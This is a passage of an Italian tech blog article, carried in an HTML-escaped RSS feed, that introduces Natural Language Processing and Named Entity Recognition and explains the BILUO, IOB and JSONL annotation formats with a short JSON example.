&lt;/style&gt;</content:encoded></item><item><title><![CDATA[NLP e Named Entity Recognition]]></title><link>https://techblog.smc.itnlp-ner</link><guid isPermaLink="false">https://techblog.smc.itnlp-ner</guid><pubDate>Fri, 11 Dec 2020 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;em&gt;Questo è il primo di una serie di articoli che riguardano quella parte del machine learning nota come Natural Language Processing (NLP).&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;In questo articolo si fa riferimento a diversi concetti chiave in ambito Machine Learning. &lt;br/&gt;
Leggere l&amp;#x27;articolo &lt;a href=&quot;https://techblog.smc.it/it/2020-05-25/machine-learning-industry&quot;&gt;&lt;strong&gt;Machine learning  e applicazioni per l&amp;#x27;industria&lt;/strong&gt;&lt;/a&gt;
per le principali definizioni&lt;/em&gt;.&lt;/p&gt;&lt;p&gt;Con &lt;a href=&quot;https://it.wikipedia.org/wiki/Elaborazione_del_linguaggio_naturale&quot;&gt;&lt;strong&gt;Natural Language Processing&lt;/strong&gt;&lt;/a&gt;
si fa riferimento a quel campo di ricerca interdisciplinare che abbraccia informatica, intelligenza artificiale e linguistica,
il cui scopo è quello di sviluppare algoritmi in grado di analizzare, rappresentare e quindi “comprendere”
il linguaggio naturale, scritto o parlato, in maniera similare o addirittura più performante rispetto agli esseri umani.&lt;/p&gt;&lt;p&gt;Al giorno d&amp;#x27;oggi vengono generati e memorizzati quantità enormi di contenuti testuali e vocali. Si tratta di dati dei quali molto spesso
non si fa uso, non consci del fatto che invece rappresentano una fonte inestimabile di valore, grazie ai quali è possibile realizzare strumenti e applicazioni
che possono portare un valore aggiunto non indifferente.&lt;/p&gt;&lt;p&gt;Sfruttando i contenuti testuali e vocali a disposizione è possibile realizzare ad esempio strumenti di:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;Named Entity Recognition&lt;/strong&gt;: riconoscere ed estrarre entità e informazioni di tipo semantico dal testo.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Text Classification&lt;/strong&gt;: classificare contenuti testuali, ad esempio l&amp;#x27;analisi del sentiment di un testo(positivo o negativo).&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Entity linking&lt;/strong&gt;: disambiguare le entità individuate nel testo(collegare le entità testuali a concetti identificativi).&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Topic Modeling&lt;/strong&gt;: estrarre in modo automatico i topic principali presenti in un corpus testuale.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Autocompletion&lt;/strong&gt;: autocompletamento di una query ad esempio.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Machine translation&lt;/strong&gt;: traduzione di un contenuto testuale da una lingua ad un&amp;#x27;altra.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Speech Recognition&lt;/strong&gt;: trasformazione di contenuti vocali in contenuti testuali (tecnologia alla base dei chatbot)&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;In questo primo articolo verrà trattato il task noto come &lt;a href=&quot;https://en.wikipedia.org/wiki/Named-entity_recognition&quot;&gt;&lt;strong&gt;Named Entity Recognition (NER)&lt;/strong&gt;&lt;/a&gt;.
Vedremo come è possibile realizzare uno strumento in grado di riconoscere entità nel testo e quali sono alcune delle sue possibili applicazioni.&lt;/p&gt;&lt;h1 id=&quot;named-entity-recognition&quot;&gt;Named Entity Recognition&lt;/h1&gt;&lt;p&gt;La Named Entity Recognition si colloca all&amp;#x27;interno di quella sottoclasse di task che in NLP è definita come &lt;a href=&quot;https://en.wikipedia.org/wiki/Information_extraction&quot;&gt;&lt;strong&gt;Information Extraction&lt;/strong&gt;&lt;/a&gt;.
Attraverso la NER è possibile identficare entità nel testo e associarle alle corrispondenti categorie semantiche come persone, organizzazioni, entità di
tipo geopolitico, geografico, numeri, espressioni temporali e via dicendo.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/90e3ba5bcde3bf1fdfe36009d8c9ecc8/8de58/entities.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:32.666666666666664%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;131\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20131\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M67%206c0%204-4%206-12%208H44c-3%202-16%204-29%203H8l-1%203c0%203%200%204%203%205l8%205%206%204c3%201%204%203%202%203-3%201-2%203%202%203%203%200%203%200%201-1-2-2%200-6%202-5l5-1c4-1%204-1%203%204l-2%209h-2l-3%202c-2%202-1%202%203%201%203-2%203-2%203%200l-2%202c-1-1-2%200-3%201h-4l-1-2-3-4-1-4c-1%200-5-3-9-8l-8-7v60h11l12-1%202-1%201%201h9c3%201%2017%201%2018-1h1c0%202%201%202%203%202%204%200%206-1%204-2v-1l4%201c4%202%2022%202%2021%201%200-2%202-3%202-2h3l1%201c-1%201%200%202%205%202l7-1h1c2%201%208%201%209-2l2%201%201%201h2c3%202%203%201%203-20%200-17%200-19-2-20s-5%201-4%203l-2%206-2%207v3l-1-2c0-1-1-2-3-2l-4-1c-1-1-1-1%201-1%202%201%202%200%202-1v-2l-1-2c-5%201-11-8-12-19-1-8-1-7-1%201-1%203-2%204-4%202h-1l-1-1c-2-2-1-8%201-8%201-1%201-1-1-2-2-2-3-1-3%203l-1%206-1-4c0-1%200-2-1-1v7c1%201-2%209-5%2011-1%201-2%202-3%201-2%200-2%200-2%202%201%202%200%207-1%206l-1%201s-1%202-3%202c-4%202-5%201-5-5l-1-4h-1c0%201-1%202-3%201-2%200-2%200-2%203%201%204%201%204-1%204s-2%200-2%206v7l-1-1-2-10-2-5a355%20355%200%2000-1-7l2%203c0%202%201%202%203-2%205-6%202-12-3-9l-2%202c0%203-1%202-2-1-2-12-2-13-6-13l-3-1%203-1c3%201%203%201%203-3l-2-5c-4-1-1-2%206-1%205%201%206%202%206%203v2c1%202%204-3%203-4-1-3%202-6%205-5l3-1%204-1c6%201%202%2013-6%2019-4%203-5%204-2%204%201%201%200%201-1%201h-3l3%203%205%203h4c2%201%2010%200%2010-2v-2c1%200-1-4-3-4l-1-1%202-1%202-1%202-1c1-1%202-2%201-3l1-2%202-1%201-3%202-4%204-4c4-2%206-5%203-6l-1-2-10-1-11%201-2%202c-3%200-3%200-1-1l2-1h-5l-1-1-2%201m73%2040v41h118V5H140v41m129%200v41h122V5H269v41m97-13c-1%201-2%202-3%201l-2%201-1%201c0-1-9-2-18-1-4%200-4%202%200%202l5%203c1%201%201%201%202-1l1-2v2c2%205%201%2013-1%2012l-2%202c0%202%200%202%201%201%200-2%202-1%202%201l2%202%201-8c-1-7%200-8%201-8%202%200%202%201%202%209-1%208-1%209%201%207h2c2%202%202%202%202%200%201-2%201-2%202-1l3%202c2%200%202-1%202-13l-1-14-1%202m-58%206l-2%201c-2-1-5%201-5%203l-1%202c-1-1-4%201-3%202l-2%201c-3%201-3%200-3-3l-1-2-1%203%201%203%201%205v5c2%201%204-1%204-4s3-2%204%201c0%203%202%204%202%201l1-2%201-6%201-8c2%200%202%208%201%2011v3c1%201%202%200%202-8v-8\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/90e3ba5bcde3bf1fdfe36009d8c9ecc8/c85cb/entities.webp 300w,/static/90e3ba5bcde3bf1fdfe36009d8c9ecc8/e88ff/entities.webp 600w,/static/90e3ba5bcde3bf1fdfe36009d8c9ecc8/92f8c/entities.webp 1200w,/static/90e3ba5bcde3bf1fdfe36009d8c9ecc8/4fba2/entities.webp 1219w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/90e3ba5bcde3bf1fdfe36009d8c9ecc8/5a46d/entities.png 300w,/static/90e3ba5bcde3bf1fdfe36009d8c9ecc8/0a47e/entities.png 600w,/static/90e3ba5bcde3bf1fdfe36009d8c9ecc8/c1b63/entities.png 1200w,/static/90e3ba5bcde3bf1fdfe36009d8c9ecc8/8de58/entities.png 1219w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 1 - Named Entity Recognition&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/90e3ba5bcde3bf1fdfe36009d8c9ecc8/c1b63/entities.png&quot; title=&quot;Figura 1 - Named Entity Recognition&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 1 - Named Entity Recognition&lt;/figcaption&gt;
  &lt;/figure&gt;   &lt;p&gt;Stiamo parlando di un task che negli ultimi tempi ha avuto un forte sviluppo, soprattutto grazie all&amp;#x27;avvento del &lt;a href=&quot;https://it.wikipedia.org/wiki/Apprendimento_profondo&quot;&gt;&lt;strong&gt;Deep Learning&lt;/strong&gt;&lt;/a&gt;.
L&amp;#x27;utilizzo di reti neurali molto profonde ha incrementato e migliorato molto l&amp;#x27;efficacia di strumenti per il riconoscimento delle entità. &lt;br/&gt;
Prima dell&amp;#x27;avvento del Deep Learning, lo strumento più utilizzato risultava essere il cosiddetto &lt;a href=&quot;https://it.wikipedia.org/wiki/Modello_di_Markov_nascosto&quot;&gt;Hidden Markov Model&lt;/a&gt;,
un modello statistico basato su &lt;a href=&quot;https://it.wikipedia.org/wiki/Processo_markoviano&quot;&gt;Processo di Markov&lt;/a&gt;, ma che non garantiva
le stesse prestazioni degli odierni modelli basati su Deep Learning. &lt;br/&gt;
Più avanti nell&amp;#x27;articolo verranno mostrati due esempi di addestramento di modelli per il riconoscimento delle entità, entrambi basati sull&amp;#x27;utilzzo di algoritmi
realizzati con reti neurali.&lt;/p&gt;&lt;h2 id=&quot;tecniche-di-annotazione-e-tool&quot;&gt;Tecniche di annotazione e tool&lt;/h2&gt;&lt;p&gt;Il task della Named Entity Recognition viene affrontato tramite approcci di tipo &lt;a href=&quot;https://it.wikipedia.org/wiki/Apprendimento_supervisionato&quot;&gt;&lt;strong&gt;supervisionato&lt;/strong&gt;&lt;/a&gt;,
e per questo motivo è necessario avere a disposizione un insieme di dati etichettati per poter addestrare un modello per riconoscere le entità.
Ogni contenuto testuale deve essere etichettato con la lista dei token e i relativi tag, per ogni entità che si vuole riconoscere nel testo.&lt;/p&gt;&lt;p&gt;Esistono diversi formati per rappresentare un dataset di addestramento per la Named Entity Recognition. Vediamo i due più utilizzati.&lt;/p&gt;&lt;p&gt;Un primo formato è quello che prende il nome di schema &lt;strong&gt;BILUO&lt;/strong&gt;, dove le diverse parti che costituiscono le entità
sono mappate secondo lo schema in Figura 2.
Le entità sono etichettate con la categoria semantica precededuta da uno dei prefissi definiti, specificando quindi se si tratta di entità multi-token o no,
e la posizione dei diversi token che costituiscono l&amp;#x27;entità.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:870px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/b804a19584581a03fe9c2b735b5213d2/3f3b9/biluooo.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:68%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;272\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20272\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M10%2010l-1%208v8h4c6%200%209-3%207-6v-5c0-4-7-8-10-5m32%201c-1%203%201%2012%203%2014s7%201%208-1c3-3%203-15%201-15s-2%202-2%207c0%206-1%207-3%207-3%200-4-1-4-8%200-6-1-8-3-4m19%200c-4%203-4%209-1%2013%203%203%208%203%2011-1%206-8-3-18-10-12m71%209l1%206%201-3%201-5c2-3%204-1%204%204%200%206%202%205%203-1s3-6%204%200c0%204%201%205%202%205s2-7%200-10c-1-2-5-3-7-1h-1l-5-1h-3v6\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/b804a19584581a03fe9c2b735b5213d2/c85cb/biluooo.webp 300w,/static/b804a19584581a03fe9c2b735b5213d2/e88ff/biluooo.webp 600w,/static/b804a19584581a03fe9c2b735b5213d2/bf818/biluooo.webp 870w&quot; sizes=&quot;(max-width: 870px) 100vw, 870px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/b804a19584581a03fe9c2b735b5213d2/5a46d/biluooo.png 300w,/static/b804a19584581a03fe9c2b735b5213d2/0a47e/biluooo.png 600w,/static/b804a19584581a03fe9c2b735b5213d2/3f3b9/biluooo.png 870w&quot; sizes=&quot;(max-width: 870px) 100vw, 870px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 2 - Schema BILUO&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/b804a19584581a03fe9c2b735b5213d2/3f3b9/biluooo.png&quot; title=&quot;Figura 2 - Schema BILUO&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 2 - Schema BILUO&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;Il mapping tra i token e le entità viene poi salvato in un file &lt;strong&gt;csv&lt;/strong&gt;, utilizzando un&amp;#x27;etichetta a parte per tutti i token
che non rientrano nelle categorie semantiche di riferimento.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:810px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/7fe2f42eaa3f2fda77d2487841983bea/d7542/biluo-map.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:50%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;200\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20200\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M14%2037v17h74V20H14v17m262-16l-1%2015v15h75V21l-37-1-37%201M166%2036l1%2015h67V21h-68v15M16%2026c0%203%200%203%202%202%203-2%207-1%208%201%200%201-1%202-3%202-4-1-4%201%200%203%206%203%204%2011-3%2010l-4-1v9h70v-4l-1-4c-1-1-2-2-2-5%200-4-1-5-3-4l-1%205-1%204c-2%200-2-1-2-6v-6h5l5%201V22H16v4m152%2010v13h65V22h-65v14m109%200v13h71V23l-36-1h-35v14M95%2028l-1%203-1%201v2l1%205c0%204%200%205%202%205l1-5c0-3%200-4%202-5%201%200%201-2-1-2s-1-2%201-3c2%200%202%201%202%207s1%208%202%208c2%200%202-1%202-8v-9h-4l-6%201m74%207l1%209c1%200%202-1%202-5l1-5%202%204%203%204%203-4%203-4v5c0%204%200%205%202%205l1-8c0-11-1-12-6-4l-3%205-3-5c-4-8-6-7-6%203m146-5c0%202%200%202-3%202s-5%202-5%207c0%204%202%205%207%205h4v-9l-1-8c-1%200-2%201-2%203M63%2034c-3%205%201%2011%207%2010%203-1%205-5%203-9-1-4-7-4-10-1m56-1l2%206c1%206%204%207%206%201l1-3%201%203c2%206%204%205%206-2%202-6%202-6%200-6l-2%204-1%203-2-3c-1-5-4-5-5-1%200%204-2%204-2%200-1-2-4-4-4-2m33%200c-2%202-1%208%201%209%205%206%2013-3%208-8-1-2-7-3-9-1m56%205c0%204%201%206%202%206l2-4v-5c2-2%203%200%203%205%200%203%200%204%202%204l1-4c0-4%202-7%203-5l1%205c0%203%200%204%202%204l1-5c0-7%200-7-9-7h-8v6M47%2095l-1%2028c-3%200-2%201%202%205l3%203%204-3c3-4%204-5%202-5s-2-4-2-28V66h-8v29m57%200v28h-2c-2%200-2%200%202%204l4%204%203-3c4-4%205-5%203-5s-2-4-2-28V66h-8v29m42%200l-1%2028c-3%200-2%201%202%205l3%203%204-4c4-4%204-4%202-4h-2V66h-8v29m53%200v28h-2c-2%200-2%200%202%204l3%204%204-3c3-4%204-5%202-5s-2-4-2-28V66h-7v29m58-28l-1%2028c0%2025%200%2028-2%2028-1%200-1%201%202%204%205%205%205%205%209%201%203-4%204-5%202-5s-2-4-2-28V66h-4l-4%201m58%2028l-1%2028c-3%200-2%201%201%205l4%203%203-4c4-3%205-4%203-4s-2-4-2-28V66h-8v29M11%20165l1%2015h15c15%200%2015%200%2017-2l2-4%201-1c4%201%208-5%206-10-1-2-1-2-5-2l-3%201-1-6v-5l-17-1H11v15m2%200v13h29v-26H13v13m159-2v9l5-1c5%200%206-1%206-3l-1-4v-2c3-3%200-7-6-7h-4v8m123%200l1%209%204-1c7%200%2010-3%206-6v-3c3-4%200-7-7-7h-4v8m-275%202v8h4c6%200%2010-4%207-8v-3c2-3-1-6-7-6h-4v9m232-7c-3%204-3%2010%201%2013%208%206%2018-5%2011-13-3-3-9-3-12%200m-145%200c-7%202-8%2010-3%2015%206%204%2014%200%2014-7%200-5-6-10-11-8m39%200c-5%203-6%2011-2%2015%203%202%2010%202%2012-1%206-7-2-18-10-14m49%203l-1%208c0%206%201%207%207%206%205-1%203-6-2-6l-2-1%202-1c2%200%203-1%204-5%201-2%201-2-3-2l-5%201m25%201c-3%202-2%207%201%209%206%203%2011-5%206-9-2-2-5-2-7%200m113%204c1%207%203%208%203%201%201-7%204-7%204%200%201%206%203%207%203%200%200-3%201-4%202-4s2%201%202%204c0%206%202%206%203%200%200-6-1-7-10-7h-7v6\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/7fe2f42eaa3f2fda77d2487841983bea/c85cb/biluo-map.webp 300w,/static/7fe2f42eaa3f2fda77d2487841983bea/e88ff/biluo-map.webp 600w,/static/7fe2f42eaa3f2fda77d2487841983bea/385bc/biluo-map.webp 810w&quot; sizes=&quot;(max-width: 810px) 100vw, 810px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/7fe2f42eaa3f2fda77d2487841983bea/5a46d/biluo-map.png 300w,/static/7fe2f42eaa3f2fda77d2487841983bea/0a47e/biluo-map.png 600w,/static/7fe2f42eaa3f2fda77d2487841983bea/d7542/biluo-map.png 810w&quot; sizes=&quot;(max-width: 810px) 100vw, 810px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 3 - Mapping con schema BILUO&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/7fe2f42eaa3f2fda77d2487841983bea/d7542/biluo-map.png&quot; title=&quot;Figura 3 - Mapping con schema BILUO&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 3 - Mapping con schema BILUO&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;Lo schema BILUO è forse il formato più diffuso.&lt;/p&gt;&lt;p&gt;Un secondo formato è una versione semplificata dello schema BILUO. Prende il nome di schema &lt;strong&gt;IOB&lt;/strong&gt;. Si tratta di uno schema a granularità meno fine, dove
il prefisso associato all&amp;#x27;entità indica solo se si tratta di un token all&amp;#x27;inizio o all&amp;#x27;interno dell&amp;#x27;entità composta da più parole.&lt;br/&gt;
Lo schema segue le specifiche definite nella figura sottostante.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1124px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/fe76acc16315189d87de5de47a2234ba/11b93/iob.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:55.00000000000001%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;220\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20220\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M15%2011c-6%208%204%2017%2010%2010%203-3%202-9-1-11s-8-1-9%201m14%205v7h10v-6c0-7-1-8-6-8h-4v7M6%2079\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/fe76acc16315189d87de5de47a2234ba/c85cb/iob.webp 300w,/static/fe76acc16315189d87de5de47a2234ba/e88ff/iob.webp 600w,/static/fe76acc16315189d87de5de47a2234ba/e9b15/iob.webp 1124w&quot; sizes=&quot;(max-width: 1124px) 100vw, 1124px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/fe76acc16315189d87de5de47a2234ba/5a46d/iob.png 300w,/static/fe76acc16315189d87de5de47a2234ba/0a47e/iob.png 600w,/static/fe76acc16315189d87de5de47a2234ba/11b93/iob.png 1124w&quot; sizes=&quot;(max-width: 1124px) 100vw, 1124px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 4 - Schema IOB&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/fe76acc16315189d87de5de47a2234ba/11b93/iob.png&quot; title=&quot;Figura 4 - Schema IOB&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 4 - Schema IOB&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;Una terza rappresentazione è in formato &lt;strong&gt;jsonl&lt;/strong&gt;.
In questo formato si associa ad ogni contenuto testuale una lista che indica, per ogni entità, la posizione nel testo e la categoria semantica associata.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;json&quot; data-index=&quot;0&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;{   &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;&amp;quot;text&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk14&quot;&gt;Sharon&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk14&quot;&gt;flew&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk14&quot;&gt;to&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk14&quot;&gt;Miami&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk14&quot;&gt;last&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk14&quot;&gt;friday&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;&amp;quot;entities&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: [&lt;/span&gt;&lt;span class=&quot;mtk14&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;PERSON&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk14&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk14&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;15&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;20&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;LOC&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk14&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk14&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;26&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;32&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;DATE&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk14&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Source Code 1 - Esempio in formato JSONL&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Gli esperti individuano lo schema BILUO come il migliore per realizzare modelli per la Named Entity Recognition il più accurati possibile.
Questo perchè, attraverso lo schema a più prefissi, specificano informazioni più dettagliate nel testo, che migliorano le capacità di
apprendimento dell&amp;#x27;algoritmo di Machine Learning utilizzato.&lt;br/&gt;
Ma anche utilizzando lo schema in formato IOB e jsonl, molto spesso si riescono a raggiungere prestazioni degne di nota.&lt;br/&gt;
Il passaggio da un formato all&amp;#x27;altro è relativamente semplice e può essere eseguito attraverso la definizione di procedure basate su regole di
facile intuizione.
Inoltre molte librerie di NLP definiscono già funzioni predefinite per trasformare il proprio dataset nel formato desiderato.&lt;/p&gt;&lt;p&gt;Per etichettare e trasformare i dati in uno di questi formati, esistono degli strumenti ad hoc chiamati &lt;strong&gt;annotatori&lt;/strong&gt;.
Un annotatore permette di caricare i propri dati come plain text e poi etichettarli in un ambiente grafico che rende più agile il processo di annotazione.
